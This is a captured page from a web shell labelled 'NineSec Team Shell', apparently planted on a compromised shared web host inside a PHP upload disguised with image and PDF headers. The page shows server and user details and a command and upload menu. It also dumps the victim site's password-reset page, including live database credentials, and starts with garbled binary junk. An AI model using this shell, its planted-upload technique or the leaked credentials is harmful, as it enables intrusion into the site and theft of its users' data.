JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/forgot-password.php
<?php
// Enable full error reporting
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

session_start();

// Database configuration
$host = "localhost";
$user = "u178500310_cg";
$password = "Tanveer@#14321";
$dbname = "u178500310_cg";

// Create connection
$conn = new mysqli($host, $user, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Initialize variables
$message = '';
$message_type = '';
$email = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = trim($_POST['email'] ?? '');
    
    if (empty($email)) {
        $message = "Please enter your email address";
        $message_type = "error";
    } else {
        // Check if email exists in users table
        $stmt = $conn->prepare("SELECT id, username, email, first_name FROM users WHERE email = ?");
        $stmt->bind_param("s", $email);
        $stmt->execute();
        $result = $stmt->get_result();
        
       
        
        if ($result->num_rows === 1 || $result2->num_rows === 1) {
            // Get user data from whichever table had the match
            if ($result->num_rows === 1) {
                $user = $result->fetch_assoc();
                $user_type = 'user';
            } else {
                $user = $result2->fetch_assoc();
                $user_type = 'admin';
            }
            
            // Generate a unique reset token
            $reset_token = bin2hex(random_bytes(32));
            $expiry = date("Y-m-d H:i:s", strtotime("+1 hour"));
            
            // Store the token in the database
            if ($user_type === 'user') {
                $stmt = $conn->prepare("UPDATE users SET reset_token = ?, reset_expiry = ? WHERE id = ?");
            } else {
                $stmt = $conn->prepare("UPDATE admins SET reset_token = ?, reset_expiry = ? WHERE id = ?");
            }
            
            $stmt->bind_param("ssi", $reset_token, $expiry, $user['id']);
            
            if ($stmt->execute()) {
                // Send reset email
                $reset_link = "http://" . $_SERVER['HTTP_HOST'] . "/reset-password.php?token=" . $reset_token;
                
                $to = $user['email'];
                $subject = "Password Reset Request - Miss Chhattisgarh";
                $message_body = "
                <html>
                <head>
                    <title>Password Reset</title>
                </head>
                <body>
                    <h2>Password Reset Request</h2>
                    <p>Hello " . $user['first_name'] . ",</p>
                    <p>You have requested to reset your password for your Miss Chhattisgarh account.</p>
                    <p>Please click the link below to reset your password:</p>
                    <p><a href='" . $reset_link . "' style='background-color: #D4AF37; color: black; padding: 10px 20px; text-decoration: none; border-radius: 5px; display: inline-block;'>Reset Password</a></p>
                    <p>This link will expire in 1 hour for security reasons.</p>
                    <p>If you did not request this password reset, please ignore this email.</p>
                    <br>
                    <p>Best regards,<br>Miss Chhattisgarh Team</p>
                </body>
                </html>
                ";
                
                $headers = "MIME-Version: 1.0" . "\r\n";
                $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
                $headers .= "From: Miss Chhattisgarh <noreply@misschhattisgarh.com>" . "\r\n";
                
                // Try to send email
                if (mail($to, $subject, $message_body, $headers)) {
                    $message = "Password reset instructions have been sent to your email address.";
                    $message_type = "success";
                } else {
                    $message = "We encountered an error sending the email. Please try again later.";
                    $message_type = "error";
                }
            } else {
                $message = "Error generating reset token. Please try again.";
                $message_type = "error";
            }
        } else {
            // For security, don't reveal if email exists or not
            $message = "If your email exists in our system, you will receive password reset instructions.";
            $message_type = "success";
        }
        
        $stmt->close();
        if (isset($stmt2)) {
            $stmt2->close();
        }
    }
}

$conn->close();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Miss Chhattisgarh - Forgot Password</title>
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #D4AF37; /* Gold */
            --secondary: #000000; /* Black */
            --accent: #F4E5C2; /* Light Gold */
            --light: #F8F5F0; /* Soft background light */
            --dark: #1A1A2E; /* Deep dark blue/black */
            --text: #333333; /* Neutral text */
            --error: #dc3545;
            --success: #28a745;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Poppins', sans-serif;
            background-color: var(--light);
            color: var(--text);
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            background-image: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)), url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100"><rect width="100" height="100" fill="%23F8F5F0"/><path d="M0,0 L100,100 M100,0 L0,100" stroke="%23D4AF37" stroke-width="1" stroke-opacity="0.1"/></svg>');
            background-size: cover;
            background-position: center;
        }
        
        .container {
            max-width: 500px;
            width: 100%;
            padding: 2rem;
            animation: fadeIn 0.5s ease-in-out;
        }
        
        .forgot-box {
            background: rgba(255, 255, 255, 0.95);
            border-radius: 10px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.15);
            overflow: hidden;
            border: 2px solid var(--primary);
        }
        
        .forgot-header {
            text-align: center;
            padding: 2rem 2rem 1rem;
            background: linear-gradient(to right, var(--primary), var(--accent));
            color: var(--secondary);
            position: relative;
        }
        
        .forgot-header::before {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 3px;
            background: linear-gradient(to right, var(--secondary), var(--primary), var(--secondary));
        }
        
        .forgot-header h1 {
            font-family: 'Playfair Display', serif;
            font-size: 2.2rem;
            margin: 0 0 0.5rem;
            text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.1);
        }
        
        .forgot-header p {
            margin: 0;
            opacity: 0.9;
            font-style: italic;
        }
        
        .forgot-form {
            padding: 2rem;
        }
        
        .instructions {
            text-align: center;
            margin-bottom: 1.5rem;
            color: var(--text);
            line-height: 1.6;
        }
        
        .form-group {
            margin-bottom: 1.5rem;
            position: relative;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 0.5rem;
            font-weight: 600;
            color: var(--dark);
        }
        
        .form-control {
            width: 100%;
            padding: 0.75rem 1rem;
            border: 2px solid #e0e0e0;
            border-radius: 6px;
            font-family: 'Poppins', sans-serif;
            font-size: 1rem;
            transition: all 0.3s;
        }
        
        .form-control:focus {
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(212, 175, 55, 0.2);
            outline: none;
        }
        
        .btn {
            display: block;
            width: 100%;
            padding: 1rem;
            background: var(--primary);
            color: var(--secondary);
            border: none;
            border-radius: 6px;
            font-family: 'Poppins', sans-serif;
            font-size: 1rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s;
            text-transform: uppercase;
            letter-spacing: 1px;
            position: relative;
            overflow: hidden;
        }
        
        .btn::before {
            content: "";
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
            transition: 0.5s;
        }
        
        .btn:hover::before {
            left: 100%;
        }
        
        .btn:hover {
            background: var(--accent);
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(212, 175, 55, 0.3);
        }
        
        .alert {
            padding: 1rem;
            margin-bottom: 1.5rem;
            border-radius: 6px;
            font-size: 0.95rem;
        }
        
        .alert-danger {
            background-color: rgba(220, 53, 69, 0.1);
            color: var(--error);
            border-left: 4px solid var(--error);
        }
        
        .alert-success {
            background-color: rgba(40, 167, 69, 0.1);
            color: var(--success);
            border-left: 4px solid var(--success);
        }
        
        .form-footer {
            text-align: center;
            margin-top: 1.5rem;
            font-size: 0.95rem;
        }
        
        .form-footer a {
            color: var(--primary);
            text-decoration: none;
            font-weight: 600;
            transition: color 0.3s;
        }
        
        .form-footer a:hover {
            color: var(--secondary);
            text-decoration: underline;
        }
        
        .cultural-pattern {
            height: 20px;
            background: repeating-linear-gradient(45deg, var(--primary), var(--primary) 10px, var(--accent) 10px, var(--accent) 20px);
            opacity: 0.8;
        }
        
        .chhattisgarh-icon {
            display: block;
            margin: 0 auto 10px;
            width: 60px;
            height: 60px;
            background: linear-gradient(45deg, var(--primary), var(--accent));
            border-radius: 50%;
            position: relative;
            box-shadow: 0 0 10px rgba(212, 175, 55, 0.5);
        }
        
        .chhattisgarh-icon::before {
            content: "CG";
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            font-family: 'Playfair Display', serif;
            font-weight: bold;
            font-size: 1.5rem;
            color: var(--secondary);
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            10%, 30%, 50%, 70%, 90% { transform: translateX(-5px); }
            20%, 40%, 60%, 80% { transform: translateX(5px); }
        }
        
        .shake {
            animation: shake 0.5s;
        }
        
        @media (max-width: 576px) {
            .container {
                padding: 1rem;
            }
            
            .forgot-header {
                padding: 1.5rem 1rem 0.5rem;
            }
            
            .forgot-header h1 {
                font-size: 1.8rem;
            }
            
            .forgot-form {
                padding: 1.5rem;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="forgot-box">
            <div class="forgot-header">
                <div class="chhattisgarh-icon"></div>
                <h1>Miss Chhattisgarh</h1>
                <p>Reset Your Password</p>
            </div>
            
            <div class="cultural-pattern"></div>
            
            <form class="forgot-form" method="POST" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>">
                <div class="instructions">
                    <p>Enter your email address associated with your account, and we'll send you instructions to reset your password.</p>
                </div>
                
                <?php if (!empty($message)): ?>
                    <div class="alert alert-<?php echo $message_type; ?>">
                        <?php echo htmlspecialchars($message); ?>
                    </div>
                <?php endif; ?>
                
                <div class="form-group">
                    <label for="email">Email Address</label>
                    <input type="email" id="email" name="email" class="form-control" required 
                           value="<?php echo isset($_POST['email']) ? htmlspecialchars($_POST['email']) : ''; ?>">
                </div>
                
                <button type="submit" class="btn">Send Reset Instructions</button>
                
                <div class="form-footer">
                    <p>Remember your password? <a href="login.php">Back to Login</a></p>
                </div>
            </form>
            
            <div class="cultural-pattern"></div>
        </div>
    </div>

    <script>
        // Add animation when inputs are focused
        document.querySelectorAll('.form-control').forEach(input => {
            input.addEventListener('focus', function() {
                this.parentNode.style.transform = 'translateY(-3px)';
            });
            
            input.addEventListener('blur', function() {
                this.parentNode.style.transform = 'translateY(0)';
            });
        });
        
        // Prevent form resubmission on page refresh
        if (window.history.replaceState) {
            window.history.replaceState(null, null, window.location.href);
        }
    </script>
</body>
</html>

NineSec Team - 2022